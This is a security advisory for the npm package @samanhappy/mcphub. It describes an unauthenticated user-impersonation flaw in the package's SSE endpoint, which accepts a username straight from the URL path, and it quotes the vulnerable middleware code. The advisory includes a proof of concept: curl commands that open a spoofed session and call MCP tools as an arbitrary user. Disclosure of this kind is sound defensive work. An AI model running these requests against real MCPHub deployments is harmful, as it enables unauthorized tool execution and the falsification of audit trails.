GHSA-wf8q-wvv8-p8jf
@samanhappy/mcphub: SSE Endpoint Accepts Arbitrary Username from URL Path Without Authentication, Enabling User Impersonation
Severidad por fuente
La etiqueta propia de Trivy es CRITICAL. Crítica según GHSA.
Descripción
### Summary A critical identity spoofing vulnerability in MCPHub allows any unauthenticated user to impersonate any other user — including administrators — on SSE (Server-Sent Events) and MCP transport endpoints. The server accepts a username from the URL path parameter and creates an internal user session without any database validation, token verification, or authentication check. The source code itself acknowledges this gap with a TODO comment. ### Details MCPHub provides user-scoped SSE endpoints at the path `/:user/sse/:group`. The `sseUserContextMiddleware` in `src/middlewares/userContext.ts` (lines 42–75) extracts the username from `req.params.user` and constructs a fabricated `IUser` object directly, bypassing all authentication: ```typescript export const sseUserContextMiddleware = async ( req: Request, res: Response, next: NextFunction, ): Promise<void> => { const userContextService = UserContextService.getInstance(); const username = req.params.user; // ← Taken directly from URL, no validation whatsoever if (username) { // Note: In a real implementation, you should validate the user exists // and has proper permissions const user: IUser = { username, // ← Completely attacker-controlled password: '', isAdmin: false, // TODO: Should be retrieved from user database }; userContextService.setCurrentUser(user); // ← Fabricated identity is accepted as real attachCleanupHandlers(); console.log(`User context set for SSE/MCP endpoint: ${username}`); next(); } // ... }; ``` The SSE routes in `src/server.ts` (lines 132–161) apply only rate limiting and this context middleware — there is no authentication middleware in the chain: ```typescript // User-scoped routes with user context middleware this.app.get( `${this.basePath}/:user/sse/:group(.*)?`, mcpConnectionRateLimiter, // Only rate limiting sseUserContextMiddleware, // Identity from URL — no auth (req, res) => handleSseConnection(req, res), ); ``` Additionally, `UserContextService` is a **singleton** that stores the current user in a single instance variable. Under concurrent connections, one user's context can silently overwrite another's, creating a secondary race condition vulnerability (CWE-362). ### PoC **Prerequisites:** A running MCPHub instance with `enableBearerAuth: false` (or bearer keys not configured). **Step 1 — Connect to the SSE endpoint as any arbitrary user:** ```bash curl -s -N --max-time 3 http://TARGET:3100/CEO-admin-impersonated/sse ``` Expected response — a valid SSE session is created: ``` event: endpoint data: /CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758 ``` **Step 2 — Verify on the server side (server logs):** ``` [INFO] User context set for SSE/MCP endpoint: CEO-admin-impersonated [INFO] Creating SSE transport with messages path: /CEO-admin-impersonated/messages [INFO] New SSE connection established: 54efc6f5-15ed-4e69-9a0e-de87d3179758 with group: global for user: CEO-admin-impersonated ``` The server accepted a completely non-existent user, created a full MCP session, and is ready to proxy tool calls under this fabricated identity. No database lookup was performed, no token was validated. **Step 3 — Execute MCP tool calls under the spoofed identity:** Once the SSE session is established, the attacker can send MCP messages to the returned endpoint path, executing tools under the spoofed user's context: ```bash curl -X POST http://TARGET:3100/CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758 \ -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"any-tool","arguments":{}}}' ``` ### Impact This is a **user identity spoofing** vulnerability on the MCP transport layer. Any unauthenticated network user can: - **Impersonate any user**, including administrators, on SSE/MCP endpoints - **Execute MCP tool calls** under a spoofed user's identity, potentially accessing user-scoped resources and data - **Poison audit logs** — all actions are recorded under the fabricated username, destroying accountability and forensic value - **Access user-scoped servers and groups** that should only be available to authenticated users All MCPHub instances exposing SSE endpoints without bearer authentication are affected. This includes the default configuration when bearer keys are not explicitly set up. Reported by the Eresus Security Research Team.
Paquetes afectados y versiones corregidas
| Fuente | Paquete | Corregido en |
|---|---|---|
| npm::GitHub Security Advisory npm | @samanhappy/mcphub | 0.12.15 |